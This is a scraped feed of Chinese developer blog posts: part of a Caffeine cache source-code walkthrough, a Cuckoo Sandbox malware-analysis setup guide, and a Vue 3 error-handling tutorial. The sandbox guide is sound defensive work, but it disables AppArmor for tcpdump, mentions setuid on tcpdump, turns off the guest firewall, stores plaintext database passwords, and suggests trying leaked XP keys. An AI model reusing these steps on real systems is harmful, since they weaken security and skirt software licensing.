            // 如果是保护区节点,需要更新保护区权重大小,再将其从保护区中移除
            else {
                setMainProtectedWeightedSize(mainProtectedWeightedSize() - weight);
                accessOrderProtectedDeque().remove(candidate);
            }
            // 增加窗口区大小
            setWindowWeightedSize(windowWeightedSize() + weight);
            // 将被移除的“候选节点”添加到窗口区中
            accessOrderWindowDeque().offerLast(candidate);
            // 标记为窗口区节点
            candidate.makeWindow();
        }

        // 可能存在 quota 小于 节点权重 的情况,那么这些量无法再调整,需要重新累加到保护区,并在窗口区中减掉
        setMainProtectedMaximum(mainProtectedMaximum() + quota);
        setWindowMaximum(windowMaximum() - quota);
        // 将未完成调整的 quota 记录在调整值中
        setAdjustment(quota);
    }

    @GuardedBy("evictionLock")
    void decreaseWindow() {
        // 如果窗口区大小小于等于 1 则无法再减少了
        if (windowMaximum() <= 1) {
            return;
        }

        // 获取变化量的额度(正整数),取调整值和窗口最大值减一中较小的值
        long quota = Math.min(-adjustment(), Math.max(0, windowMaximum() - 1));
        // 更新保护区和窗口区大小
        setMainProtectedMaximum(mainProtectedMaximum() + quota);
        setWindowMaximum(windowMaximum() - quota);

        for (int i = 0; i < QUEUE_TRANSFER_THRESHOLD; i++) {
            // 从窗口区获取“候选节点”
            Node<K, V> candidate = accessOrderWindowDeque().peekFirst();
            // 未获取到说明窗口区已经没有元素了,不能再减小了,结束循环操作
            if (candidate == null) {
                break;
            }

            // 获取候选节点的权重
            int weight = candidate.getPolicyWeight();
            // 可变化的额度小于权重,则不支持变化,结束循环
            if (quota < weight) {
                break;
            }

            // 随着节点的移动,变更可变化额度
            quota -= weight;
            // 更新窗口区大小并将元素从窗口区移除
            setWindowWeightedSize(windowWeightedSize() - weight);
            accessOrderWindowDeque().remove(candidate);
            // 将从窗口区中移除的元素添加到试用区
            accessOrderProbationDeque().offerLast(candidate);
            // 将节点标记为试用区元素
            candidate.makeMainProbation();
        }

        // 此时 quote 为剩余无法变更的额度,需要在保护区中减去在窗口区中加上
        setMainProtectedMaximum(mainProtectedMaximum() - quota);
        setWindowMaximum(windowMaximum() + quota);
        // 记录未变更完的额度在调整值中
        setAdjustment(-quota);
    }

}

现在我们了解了 climb 方法的逻辑,正如它的注释所述 Adapts the eviction policy to towards the optimal recency / frequency configuration.,它会根据访问情况动态调整最佳的分区配置以适应驱逐策略。元素被添加时会优先被放在窗口区,窗口区越大则意味着短期内有大量缓存被添加,或元素添加后被再次访问,缓存命中率提高,需要更大的窗口区来承接这部分新晋的元素。根据 climb 中的逻辑,窗口区增大也会有试用区/保护区的元素不断被移动到窗口区;如果保护区越大意味着缓存中维护的元素都是访问频率较高的元素,命中率降低,并趋于某稳定值附近;试用区元素由窗口区元素晋升得来,再被访问时会被晋升到保护区,它更像是 JVM 分区的 survivor 区。缓冲区不同分区的动态调整可以适应不同的访问模式,优化缓存的性能。接下来我们在原理图中补充上各个分区间元素的变换路径(元素也可由保护区直接降级到窗口区,但在图中未标出),并根据图示对 Caffeine 的实现原理进行概括:

在图示(1)中,put 方法会直接将元素添加到 ConcurrentHashMap 中,并在 WriteBuffer 中添加任务,由单线程异步调用维护方法对任务进行消费,元素访问频率会被更新,试用区元素可能会被晋升到保护区;在图示(2)调用 getIfPresent 方法会直接从 ConcurrentHashMap 中获取元素,并添加任务到 ReadBuffer 中由单线程异步消费,它相比于(1)并没有什么额外操作,两个缓冲区均采用 MPSC 的设计模式,这种设计参考了 WAL(Write-Ahead Logging)思想;图示(3)和图示(4)均发生在维护方法逻辑中,图示(3)驱逐元素时,窗口区元素会被“驱逐”到试用区,而试用区和保护区元素可能被直接驱逐;图示(4)“增值(climb)”操作会根据命中率调整窗口区和保护区的大小,合理分配分区间的元素。

在文中提到过每个分区的双端队列使用了 LRU 算法,被访问过的元素会被放在尾节点,但对元素进行驱逐时并不以 LRU 的顺序为准,而是会参考频率草图中记录的元素频率,保证使用频率高的被保留,低的被驱逐。这和 LFU 算法很像,区别于 LFU 算法的是它采用了 Count-Min Sketch 数据结构来记录频率,能够在较小的内存开销下实现对频率较为精准(93.75%)的估计,这种算法实际被称为 TinyLFU 算法,它结合了两者的有点,在内存和计算开销上达到更好的平衡。

技术选型

现在我们已经对 Caffeine 缓存有了一定的了解,那么究竟什么时候适合选择使用它呢?那就要根据它的特点来了:首先,它是线程安全的,适合在多线程环境下使用;其次它的性能很好,使用了 TinyLFU 算法并采用了高性能缓存的设计;再就是它提供了多种缓存管理机制,除了基于最大容量的驱逐策略,还支持基于时间、软/虚引用等驱逐策略。所以 它适合在高并发环境并且需要高性能、支持多种缓存管理策略的场景下使用

如果要在多种缓存中选取,可以以如下表格为参考:

缓存是否线程安全性能缓存管理机制
HashMap
ConcurrentHashMap
Guava提供基于最大容量、时间、软/虚引用等驱逐策略
Caffeine提供基于最大容量、时间、软/虚引用等驱逐策略

巨人的肩膀

by 方圆想当图灵 at January 20, 2025 02:42 AM

juejin frontend

Ubuntu20.04配置CuckooSandbox环境

Ubuntu20.04配置CuckooSandbox环境

因为最近要做恶意软件分析,阅读论文发现动态分析的效果普遍比静态分析的效果要好一些,所以需要搭建一个动态分析的环境,查阅资料发现Cuckoo Sandbox是不错的自动化分析环境,但是搭建起来还是比较复杂的,主要是在配置虚拟机环境以及网络配置方面。

基础环境

文中的环境是Ubuntu 20.04 Server,也就是服务器版,后来为了配置虚拟机尝试过GNOME还有xfce4桌面环境,其实纯服务器环境即可完成配置,但是在配置虚拟机环境时可能会卡,所以还是有必要装一个桌面环境的。
在配置环境的时候建议配置一个新用户出来,Cuckoo官方不建议使用root权限搭建环境,最好是配置一个有sudo权限的用户,在本文中我配置的新用户名为Czy,注意要使用有sudo权限的用户创建,比如root等,对了别忘了在创建好新用户后在/etc/passwd将创建用户的默认的bash环境/bin/sh更改为/bin/bash,默认的/bin/sh在登陆后只有一个$不太好用。

sudo useradd -m Czy # 添加Czy用户并生成home目录
sudo usermod -aG sudo Czy # 添加到超级用户组即sudo权限
# /etc/passwd
Czy:x:1001:1001::/home/Czy:/bin/bash

SSH软件使用的是MobaXterm,可以直接在本地实现virtualbox的图形界面,不过还是比较卡,肯定是不如直接使用图形界面的快,但是也只是配置过程中需要使用,真正使用Cuckoo时就不需要手动启动虚拟机环境了,如果用Xbash的话需要配合Xmanager才能在本地拉起virtualbox的图形界面,此外建议安装WinSCP用来传输文件,这个为了方便可以用root登录,不过要注意用root登录后传输后的文件的所有者都是root,写文件的话需要更改权限。

在这里插入图片描述

安装Anaconda

首先来说明为什么要安装Anaconda ,首先在Cuckoo不建议直接使用主python环境进行配置,建议使用venv,还有一个更重要的原因,在Ubuntu 20.04已经不建议使用python2了,而到目前为止Cuckoo只支持python2,之前在16.04使用pyhton就能拉起的环境现在需要安装python2并且必须使用python2命令才能唤起,所以为了避免出现各种问题,还是选择使用Anaconda进行环境配置。
首先下载Anaconda安装包,我下载的版本为Anaconda3-2019.03-Linux-x86_64.sh,在清华的镜像站https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/下载即可,之后便是直接./运行该可执行文件,如果不能执行的话可能是没有x权限,直接sudo chmod 755 Anaconda3-2019.03-Linux-x86_64.sh运行即可安装,安装过程不再赘述,可以参考其他的文章 。
conda环境中安装python 2.7,然后这个虚拟环境我命名为python2,在下边的脚本要用到。 在Conda安装的最后会提示你是否加入到环境变量,如果加入到环境变量的话那么每次ssh到服务器都会自动运行conda环境的,我个人不是很喜欢,于是我自行写了一个.sh文件,需要的时候我再去执行这个.sh文件即可唤醒环境,注意该文件的x执行权限,755一把梭就行。
其实这些都不算重点,能跑起来python 2.7的环境都是胜利。

#!/bin/bash

# >>> conda initialize >>>
# !! Contents within this block are managed by 'conda init' !!
__conda_setup="$('/home/Czy/application/conda/bin/conda' 'bash.bash' 'hook' 2> /dev/null)"
if [ $? -eq 0 ]; then
    eval "$__conda_setup"
else
    if [ -f "/home/Czy/application/conda/etc/profile.d/conda.sh" ]; then
        . "/home/Czy/application/conda/etc/profile.d/conda.sh"
    else
        export PATH="/home/Czy/application/conda/bin:$PATH"
    fi
fi
unset __conda_setup
# <<< conda initialize <<<
conda activate python2
source ./python2-conda.sh

在这里插入图片描述

安装Cuckoo

安装python库

我是直接执行了sudo pip install -U cuckoo,然后执行过程中告诉我缺啥我都再装,虽然这样不太好但是也不是不行哈哈,文档对于这块说的还是比较清楚的,这里借鉴一下其他博客说明的安装环境,如果安装失败,搜索一下错误,我就遇到过一个编译image什么的错误,是在github issue中找到一个用apt安装的依赖才解决的,但是具体记不清了。

sudo apt-get install python python-pip python-dev libffi-dev libssl-dev
sudo apt-get install python-virtualenv python-setuptools
sudo apt-get install libjpeg-dev zlib1g-dev swig

安装MongoDB

为了使用基于DjangoWeb界面,需要使用MongoDB,也就是为了启动cuckoo web runserver 0.0.0.0:8000的环境依赖,之后还需要配置用户名密码与数据库信息,这个在下一节会细说。

sudo apt-get install mongodb

安装PostgreSQL

CuckooWeb服务需要一个数据库,在配置文件中可以看出sqlitepostgresqlmysql都是可以的,由于我比较熟悉Mysql的操作本来想指定Mysql作为选定数据库来着,但是由于装python_mysql的驱动一直出问题,我估计是因为我装的Mysql 8.0,而Python 2.7早已不再维护了,所以无法正常使用驱动了,所以最终还是选择PostgreSQL,当然这个也需要配置用户名密码等,这个下一节再说明。

sudo apt-get install postgresql libpq-dev

安装virtualbox

首先需要安装virtualbox,直接使用apt-get安装即可。

sudo apt-get install virtualbox

如果像我一样是使用的服务器而没有实体机,而且我的服务器在实体机上是使用VMware Workstation管理的,那么这个状态就相当于在虚拟机中安装虚拟机,那么就需要在主体实体机的VMware Workstation中修改虚拟机配置在,Processors中启用VT-XAMD-V,也就是启动虚拟化才可以。

在这里插入图片描述

安装tcpdump

为了在执行期间转储恶意软件执行的网络活动,需要正确配置网络嗅探器以捕获流量并将其转储到文件中。

sudo apt-get install tcpdump apparmor-utils
sudo aa-disable /usr/sbin/tcpdump

请注意,只有在使用默认目录时才需要apparmor禁用配置文件(aa-disable命令),CWD因为apparmor会阻止创建实际的PCAP文件(另请参阅tcpdump的权限被拒绝),对于禁用apparmorLinux平台(例如,Debian),以下命令就足以安装tcpdump

sudo apt-get install tcpdump

tcpdump需要root权限,但由于不希望Cuckooroot身份运行,因此必须为二进制文件设置特定的Linux功能。

sudo groupadd pcap
sudo usermod -a -G pcap Czy # 这里是用户名
sudo chgrp pcap /usr/sbin/tcpdump
sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

可以使用以下命令验证上一个命令的结果。

getcap /usr/sbin/tcpdump
# /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

如果没有安装setcap则安装。

sudo apt-get install libcap2-bin

或者以其他方式(不推荐)的做法。

sudo chmod +s /usr/sbin/tcpdump

安装Volatility

Volatility是一种可选工具,可对内存转储进行取证分析,与Cuckoo结合使用,它可以自动提供对操作系统深度修改的额外可视性,并检测逃脱Cuckoo分析器监控域的rootkit技术的存在。

git clone https://github.com/volatilityfoundation/volatility.git
cd volatility
sudo python setup.py build
sudo python setup.py install

安装M2Crypto

目前M2Crypto只有在安装SWIG时才支持该库,在Ubuntu /Debian的系统上,可以按如下方式完成。

sudo apt-get install swig
sudo pip install m2crypto==0.24.0

Cuckoo环境配置

cuckoo默认安装在当前用户目录下,即~/.cuckoo,我们可以使用cuckoo -d来启动cuckoo

配置virtualbox虚拟机

这是个比较大的工程,为了方便我们直接在图形界面上完成这个操作。
首先我们需要准备好一个XP镜像,镜像需要自行下载,可以去MSDN下载,之后还要准备一个密钥,这个可以自行百度,多试试总有能用的。
点击新建,这边的namecuckoo1,因为我有一个重名的了所以写了个2,这边一定要写好是cuckoo1,选择好windows XP 32-bit系统。

在这里插入图片描述 之后便是分配内存和硬盘存储等,可以一路next,接下来要启动安装镜像。

在这里插入图片描述

在此处选择下载好的xp系统镜像,接下来就跟随着系统进行安装,安装完成后将虚拟机关机,在Setting中的Storage中将光盘形状的这个位置的启动位置移除即可,否则每次开机都会提示你按任意键从光盘启动,那么便又会启动一次安装程序。

在这里插入图片描述 接下来需要配置网络环境,在启动的virtualbox中新建一个虚拟网卡,配置的ip地址等如下所示。

在这里插入图片描述

之后在我们新建的cuckoo1的虚拟机设置网络,如下所示,Host-only是代表只允许与宿主机通信,如果需要访问外网的话,请继续看下边的网络配置。

在这里插入图片描述

之后我们要配置一下虚拟机的外网网络环境,刚才我们新建了这个虚拟网卡,之后为了通信我们还需要将虚拟机里设置一个固定的ip地址,也就是刚才我们设置的虚拟网卡网关的子网,但是我们如果我们直接在xp系统里设置虚拟机的ip地址之后是无法上网的,所以我们需要在ubuntu中配置一个NAT网络转发,在这里我们直接使用iptables 进行网络转发,这里每次开机都会重置,如果想要开机自动可以使用systemctl进行开机自启动管理,需要编写UNIT,在这里就不赘述了,在这里我们还是写到一个sh文件中需要的时候再执行即可。
注意在下边这个ens160是我的网卡,可以使用ifconfig查看网卡名称,之后的192.168.56.0/24就是主机以及网络号划分的子网,如果上边的ip配置都是根据文章来的话,那就只需要修改这个网卡名称即可。

在这里插入图片描述

echo 1 | sudo tee -a /proc/sys/net/ipv4/ip_forward
sudo sysctl -w net.ipv4.ip_forward=1

sudo iptables -t nat -A POSTROUTING -o ens160 -s 192.168.56.0/24 -j MASQUERADE # 网卡名称 ens160 
sudo iptables -P FORWARD DROP
sudo iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -s 192.168.56.0/24 -j ACCEPT
sudo iptables -A FORWARD -s 192.168.56.0/24 -d 192.168.56.0/24 -j ACCEPT
sudo iptables -A FORWARD -j LOG
sudo ./network-transform.sh

在这里插入图片描述

接下来启动这个虚拟机,我们需要在这里关闭防火墙与自动更新,并且配置好ip地址。

在这里插入图片描述

在这里插入图片描述

另外还需要在虚拟机中进行网络配置以及启动一个agent.py,这个文件在~/.cuckoo/agent/agent.py,也就是说在虚拟机中也必须安装python 2.7环境,如果需要截图的话,还需要PIL包,在这里就不赘述安装过程了,无论是使用虚拟机共享磁盘还是搭建文件服务器环境等方式,或者是直接在xp虚拟机中下载python安装包并安装即可,使用python3启动简单的文件服务器命令如下。

python3 -m http.server --bind 0.0.0.0 8088

在这里插入图片描述

之后我们可以直接双击启动agent.py,另外也可以在C:\Document and Settings\Administrator\start menu\program\start设置让其开机自启,当然这个也没要必要,因为我们只需要创建快照即可,在运行agent.py之后,我们可以使用netstat命令查看8000端口是否被占用,如果已经占用就说明agent.py成功启动。

在这里插入图片描述

等环境全部搭建完成之后,我们需要创建快照,务必注意名字要命名为snapshot1,默认的为Snapshot 1,注意是首字母大写以及1之前有个空格的,所以我们要命名为snapshot1

在这里插入图片描述 之后我们就关闭虚拟机即可,在运行cuckoo过程中不需要手动启动虚拟机。

创建数据库

之前我们安装了MongoDBPostgreSQL,接下来我们需要为其创建一个用户以及创建数据库,这里统一一下用户名都为cuckoo,密码都为1234567890-=,数据库名都为cuckoo,下边的配置文件要用得到,具体过程请参照各自的数据库命令。

配置文件

所有的配置文件都在~/.cuckoo/conf/目录下,cuckoo.conf配置文件,重要位置已标出。

[cuckoo]
version_check = yes
ignore_vulnerabilities = no
api_token = uIfx
web_secret = 
delete_original = no
delete_bin_copy = no
machinery = virtualbox
memory_dump = no
terminate_processes = no
reschedule = no
process_results = yes
max_analysis_count = 0
max_machines_count = 0
max_vmstartup_count = 10
freespace = 1024
tmppath = 
rooter = /tmp/cuckoo-rooter

[feedback]
enabled = no
name = 
company = 
email = 

[resultserver]
ip = 192.168.109.206 ### 主机地址
port = 2042 ### 端口
upload_max_size = 134217728

[processing].
analysis_size_limit = 134217728
resolve_dns = yes
sort_pcap = yes

[database]
connection = postgresql://cuckoo:1234567890-=@localhost:5432/cuckoo ### 数据库链接
timeout = 60

[timeouts]
default = 120
critical = 60
vm_state = 60

[remotecontrol]
enabled = no
guacd_host = localhost
guacd_port = 4822

virtualbox.conf配置文件,重要位置已标出。

[virtualbox]
mode = headless
path = /usr/bin/VBoxManage
interface = vboxnet0 ### 默认网卡
machines = cuckoo1 ### 虚拟机名称
controlports = 5000-5050

[cuckoo1]
label = cuckoo1 ### label
platform = windows
ip = 192.168.56.101 ### 虚拟机ip地址
snapshot = snapshot1 ### 快照名
interface = vboxnet0 ### 虚拟网卡
resultserver_ip = 
resultserver_port = 
tags = 
options = 
osprofile = 

[honeyd]
label = honeyd
platform = linux
ip = 192.168.56.102
tags = service, honeyd
options = nictrace noagent

reporting.conf配置文件,重要位置已标出。

[feedback]
enabled = no ### 启动

[jsondump]
enabled = yes
indent = 4
calls = yes

[singlefile]
enabled = no
html = no
pdf = no

[misp]
enabled = no
url = 
apikey = 
mode = maldoc ipaddr hashes url
distribution = 0
analysis = 0
threat_level = 4
min_malscore = 0
tag = Cuckoo
upload_sample = no

[mongodb]
enabled = yes ### 启用mongodb
host = 127.0.0.1
port = 27017
db = cuckoo ### 数据库名
store_memdump = yes
paginate = 100
username = cuckoo ### 账号
password = 1234567890-= ### 密码

[elasticsearch]
enabled = no
hosts =  127.0.0.1
timeout = 300
calls = no
index = cuckoo
index_time_pattern = yearly
cuckoo_node = 

[moloch]
enabled = no
host = 
insecure = no
moloch_capture = /data/moloch/bin/moloch-capture
conf = /data/moloch/etc/config.ini
instance = cuckoo

[notification]
enabled = no
url = 
identifier = 

[mattermost]
enabled = no
url = 
myurl = 
username = cuckoo
show_virustotal = no
show_signatures = no
show_urls = no
hash_filename = no
hash_url = no

启动Cuckoo

启动Cuckoo需要两个终端,一个终端启动cuckoo,另外一个终端启动cuckoo web runserver

cuckoo
cuckoo web runserver 0.0.0.0:8000

在这里插入图片描述

在这里插入图片描述 之后打开该web服务,在我的服务器的地址为http://192.168.109.206:8000/

在这里插入图片描述 在右上角的Submit提交文件,点击Analyze即可,现在就可以在执行cuckoo的终端查看到分析进度了,在Dashboard可以整体查看概览,也可以在Rencent中查看已经完成的任务。

在这里插入图片描述

另外在正常情况下在分析的时候$HOME/.cuckoo/storage/analyses会出现很多xxx.exe_xxx.dmp文件,可以使用crontab执行一些定时任务出来一下,例如我不需要则在存在时间大于6分钟的直接删除。

*/6 * * * * cd $HOME/.cuckoo/storage/analyses && find ./ -regex .*/memory/.*\.exe_  -mmin +6 -delete && find ./ -regex .*/memory/.*\.dmp  -mmin +6 -delete

Blog

参考

by WindRunnerMax at January 20, 2025 02:42 AM

Vue3项目中如何捕获不同层级的异常/错误?

项目中如果没有对异常做处理,可能导致应用崩溃或显示报错信息影响用户体验。因此需要对不同层级的错误进行捕获,确保用户即使在错误发生时仍能使用应用的其他功能或者能查看到更友好的提示消息。

组件级异常捕获:

  1. 单组件 使用 errorCaptured 钩子来捕获单一组件中的错误。
<template>
 <button @click="test">抛出错误</button>
</template>
<script setup lang="ts">
const test = () => {
  throw 'error'
}
onErrorCaptured((err, instance, info)=>{
  console.log('错误:',err, instance, info)
})
</script>
  1. 多组件(跨多个组件的错误边界

使用方式:

// index.vue
<template>
   <ErrorBoundary>
      <router-view v-slot="{ Component, route }">
        <template v-if="Component">
          <component :is="Component" :key="route.name" />
        </template>
      </router-view>
    </ErrorBoundary>
</template>
<script setup lang="ts">
import ErrorBoundary from "@/components/error/ErrorBoundary.vue";
</script>

实现方式:

// 404.vue
<template>
  <el-result
    status="404"
    title="404"
    sub-title="Sorry, the page you visited does not exist."
  >
    <template #extra>
      <a-button type="primary" @click="onChange"> 回到首页 </a-button>
    </template>
  </el-result>
</template>
<script lang="ts">
export default {
  name: "NotFound",
};
</script>
<script lang="ts" setup>
import { defineEmits } from "vue";
const emit = defineEmits(["change"]);
const onChange = () => {
  emit("change", false);
};
</script>

// ErrorBoundary.vue
<template>
  <div v-if="isError">
    <NotFound @change="handleErrorChange" />
    </div>
  <div v-else>
    <slot></slot>
  </div>
</template>
<script setup lang="ts">
import router from "@/router";
import NotFound from "@/components/error/404.vue";
import { onErrorCaptured, ref } from "vue";
const isError = ref(false);
onErrorCaptured((err, vm, info) => {
  console.error(
    "[捕获错误]",
    err.message,
    "vm",
    vm,
    "info",
    info,
    window.history
  );
  isError.value = true;
  return false; // onErrorCaptured 早于window.onerror 等执行,这里捕获了返回false就不会向上继续抛出了
});

const handleErrorChange = (isError: boolean) => {
  if (!isError) {
    // 在这里进行错误处理
    // router.push("/").then(() => {
    //   location.reload();
    // });
  }
};
</script>

全局异常捕获

  1. 使用 app.config.errorHandler 设置全局错误处理器来捕获未通过组件级别捕获的错误。
import { createApp } from "vue";
import App from "./App.vue";
const app = createApp(App);
app.config.errorHandler = (err, instance, info) => {
    // 这里可以执行全局的错误处理逻辑,比如上报服务器
    console.error('Global error handler:', err, { instance, info });
  };
  1. 通过window事件捕获 可以添加全局的 window 事件来捕获未处理的错误和未捕获的 Promise 异常。
window.addEventListener(
  "error",
  (e) => {
    console.log("全局报错捕获", e);
    return true;
  },
  true
);

// 处理未捕获的异常,主要是promise内部异常,统一抛给 onerror
window.addEventListener("unhandledrejection", (e) => {
  throw e.reason;
});

代码级局部捕获

使用 try-catch 捕获异步或特定代码块中的错误。

const fetchData = async () => {
   try {
     const response = await fetch('https://api.example.com/data');
     result.value = await response.json();
   } catch (error) {
     console.error('Error fetching data:', error);
     // 局部错误处理逻辑
   }
};

总结

通过以上几种方法,可以在 Vue 3 项目中可以有效地捕获和处理不同层级的错误,从而提升用户体验。

by Turtle at January 20, 2025 02:42 AM

juejin backend

缓存之美:万文详解 Caffeine 实现原理(上)

由于社区最大字数限制,本文章将分为两篇,第二篇文章为缓存之美:万文详解 Caffeine 实现原理(下)


大家好,我是 方圆。文章将采用“总-分-总”的结构对配置固定大小元素驱逐策略的 Caffeine 缓存进行介绍,首先会讲解它的实现原理,在大家对它有一个概念之后再深入具体源码的细节之中,理解它的设计理念,从中能学习到用于统计元素访问频率的 Count-Min Sketch 数据结构、理解内存屏障和如何避免缓存伪共享问题、MPSC 多线程设计模式、高性能缓存的设计思想和多线程间的协调方案等等,文章最后会对全文内容进行总结,希望大家能有所收获的同时在未来对本地缓存选型时提供完整的理论依据。

Caffeine 缓存原理图如下:

caffeine-第 5 页.drawio.png

它使用 ConcurrentHashMap 保存数据,并在该数据结构的基础上创建了窗口区、试用区和保护区,用于管理元素的生命周期,各个区的数据结构是使用了 LRU 算法的双端队列,随着缓存的命中率变化,窗口区和保护区大小会自动调节以适应当前访问模式。在对元素进行驱逐时,使用了 TinyLFU 算法,会优先将频率低的元素驱逐,访问频率使用 Count-Min Sketch 数据结构记录,它能在保证较高准确率(93.75%)的情况下占用较少内存空间。读、写操作分别会向 ReadBufferWriteBuffer 中添加“读/写后任务”,这两个缓冲区的设计均采用了 MPSC 多生产者单消费者的多线程设计模式。缓冲区中任务的消费由维护方法 maintenancedrainReadBufferdrainWriteBuffer 实现,维护方法通过添加同步锁,保证任务只由单线程执行,这种设计参考了 WAL(Write-Ahead Logging)思想,即:先写日志,再执行操作,先把操作记录在缓冲区,然后在合适的时机异步、批量地执行缓冲区中的任务。维护方法除了这些作用外,还负责元素在各个分区的移动、频率的更新、元素的驱逐等操作。

接下来的源码分析以如下测试用例为例:先分析构造方法,了解缓存初始化过程中创建的重要数据结构和关键字段,然后再深入添加元素的方法(put),该方法相对复杂,也是 Caffeine 缓存的核心,理解了这部分内容,文章剩余的内容理解起来会非常容易,接着分析获取元素的方法(getIfPresent),最后再回到核心的维护方法 maintenance 中,这样便基本理解了 Caffeine 缓存的运行原理,需要注意的是,因为我们并未指定缓存元素的过期时间,所以与此相关的内容如时间过期策略和时间轮等内容不会专门介绍。

public class TestReadSourceCode {

    @Test
    public void doRead() {
        // read constructor
        Cache<String, String> cache = Caffeine.newBuilder()
                .maximumSize(10_000)
                .build();

        // read put
        cache.put("key", "value");

        // read get
        cache.getIfPresent("key");
    }

}

constructor

Caffeine 的实现类区分了 BoundedLocalManualCacheUnboundedLocalManualCache,见名知意它们分别为“有边界”的和“无边界”的缓存。Caffeine#isBounded 方法诠释了“边界”的含义:

public final class Caffeine<K, V> {

    static final int UNSET_INT = -1;

    public <K1 extends K, V1 extends V> Cache<K1, V1> build() {
        // 校验参数
        requireWeightWithWeigher();
        requireNonLoadingCache();

        @SuppressWarnings("unchecked")
        Caffeine<K1, V1> self = (Caffeine<K1, V1>) this;
        return isBounded()
                ? new BoundedLocalCache.BoundedLocalManualCache<>(self)
                : new UnboundedLocalCache.UnboundedLocalManualCache<>(self);
    }

    boolean isBounded() {
        // 指定了最大大小;指定了最大权重
        return (maximumSize != UNSET_INT) || (maximumWeight != UNSET_INT)
                // 指定了访问后过期策略;指定了写后过期策略
                || (expireAfterAccessNanos != UNSET_INT) || (expireAfterWriteNanos != UNSET_INT)
                // 指定了自定义过期策略;指定了 key 或 value 的引用级别
                || (expiry != null) || (keyStrength != null) || (valueStrength != null);
    }
}

也就是说,当为缓存指定了上述的驱逐或过期策略会定义为有边界的 BoundedLocalManualCache 缓存,它会限制缓存的大小,防止内存溢出,否则为无边界的 UnboundedLocalManualCache 类型,它没有大小限制,直到内存耗尽。我们以创建配置了固定大小的缓存为例,它对应的类型便是 BoundedLocalManualCache,在执行构造方法时,有以下逻辑:

abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef
        implements LocalCache<K, V> {
    // ...

    static class BoundedLocalManualCache<K, V> implements LocalManualCache<K, V>, Serializable {
        private static final long serialVersionUID = 1;

        final BoundedLocalCache<K, V> cache;

        BoundedLocalManualCache(Caffeine<K, V> builder) {
            this(builder, null);
        }

        BoundedLocalManualCache(Caffeine<K, V> builder, @Nullable CacheLoader<? super K, V> loader) {
            cache = LocalCacheFactory.newBoundedLocalCache(builder, loader, /* async */ false);
        }
    }
}

BoundedLocalCache 为抽象类,缓存对象的实际类型都是它的子类。它在创建时使用了反射并遵循简单工厂的编码风格:

interface LocalCacheFactory {
    static <K, V> BoundedLocalCache<K, V> newBoundedLocalCache(Caffeine<K, V> builder,
                                                               @Nullable AsyncCacheLoader<? super K, V> cacheLoader, boolean async) {
        var className = getClassName(builder);
        var factory = loadFactory(className);
        try {
            return factory.newInstance(builder, cacheLoader, async);
        } catch (RuntimeException | Error e) {
            throw e;
        } catch (Throwable t) {
            throw new IllegalStateException(className, t);
        }
    }
}

getClassName 方法非常有意思,它会根据缓存配置的属性动态拼接出实际缓存类名:

interface LocalCacheFactory {

    static String getClassName(Caffeine<?, ?> builder) {
        var className = new StringBuilder();
        // key 是强引用或弱引用
        if (builder.isStrongKeys()) {
            className.append('S');
        } else {
            className.append('W');
        }
        // value 是强引用或弱引用
        if (builder.isStrongValues()) {
            className.append('S');
        } else {
            className.append('I');
        }
        // 配置了移除监听器
        if (builder.removalListener != null) {
            className.append('L');
        }
        // 配置了统计功能
        if (builder.isRecordingStats()) {
            className.append('S');
        }
        // 不同的驱逐策略
        if (builder.evicts()) {
            // 基于最大值限制,可能是最大权重W,也可能是最大容量S
            className.append('M');
            // 基于权重或非权重
            if (builder.isWeighted()) {
                className.append('W');
            } else {
                className.append('S');
            }
        }
        // 配置了访问过期或可变过期策略
        if (builder.expiresAfterAccess() || builder.expiresVariable()) {
            className.append('A');
        }
        // 配置了写入过期策略
        if (builder.expiresAfterWrite()) {
            className.append('W');
        }
        // 配置了刷新策略
        if (builder.refreshAfterWrite()) {
            className.append('R');
        }
        return className.toString();
    }
}

这也就是为什么能在 com.github.benmanes.caffeine.cache 包路径下能发现很多类似 SSMS 只有简称命名的类的原因(下图只截取部分,实际上有很多):

SSMS.png

根据代码逻辑,它的命名遵循如下格式 S|W S|I [L] [S] [MW|MS] [A] [W] [R] 其中 [] 表示选填,| 表示某配置不同选择的分隔符,结合注释能清楚的了解各个位置字母简称表达的含义。如此定义实现类使用了 多级继承,尽可能多地复用代码。

以我们测试用例中创建的缓存类型为例,它对应的实现类为 SSMS,表示 key 和 value 均为强引用,并配置了非权重的最大缓存大小限制,类图关系如下:

SSMS.drawio.png

虽然在一些软件设计相关的书籍中强调“多用组合,少用继承”,但是这里使用多级继承我觉得并没有增加开发者的理解难度,反而了解了它的命名规则后,能更清晰的理解各个缓存所表示的含义,更好地实现代码复用。

执行 SSMS 的构造方法会有以下逻辑:

// 1
abstract class BoundedLocalCache<K, V> extends BLCHeader.DrainStatusRef
        implements LocalCache<K, V> {

    static final int WRITE_BUFFER_MIN = 4;
    static final int WRITE_BUFFER_MAX = 128 * ceilingPowerOfTwo(NCPU);

    static final long MAXIMUM_CAPACITY = Long.MAX_VALUE - Integer.MAX_VALUE;

    static final double PERCENT_MAIN = 0.99d;
    static final double PERCENT_MAIN_PROTECTED = 0.80d;

    static final double HILL_CLIMBER_STEP_PERCENT = 0.0625d;

    final @Nullable RemovalListener<K, V> evictionListener;
    final @Nullable AsyncCacheLoader<K, V> cacheLoader;

    final MpscGrowableArrayQueue<Runnable> writeBuffer;
    final ConcurrentHashMap<Object, Node<K, V>> data;
    final PerformCleanupTask drainBuffersTask;
    final Consumer<Node<K, V>> accessPolicy;
    final Buffer<Node<K, V>> readBuffer;
    final NodeFactory<K, V> nodeFactory;
    final ReentrantLock evictionLock;
    final Weigher<K, V> weigher;
    final Executor executor;

    final boolean isAsync;
    final boolean isWeighted;

    protected BoundedLocalCache(Caffeine<K, V> builder,
                                @Nullable AsyncCacheLoader<K, V> cacheLoader, boolean isAsync) {
        // 标记同步或异步
        this.isAsync = isAsync;
        // 指定 cacheLoader 
        this.cacheLoader = cacheLoader;
        // 指定用于执行驱逐元素、刷新缓存等任务的线程池,不指定默认为 ForkJoinPool.commonPool()
        executor = builder.getExecutor();
        // 标记是否定义了节点计算权重的 Weigher 对象
        isWeighted = builder.isWeighted();
        // 同步锁,在接下来的内容中会看到很多标记了 @GuardedBy("evictionLock") 注解的方法,表示这行这些方法时都会获取这把同步锁
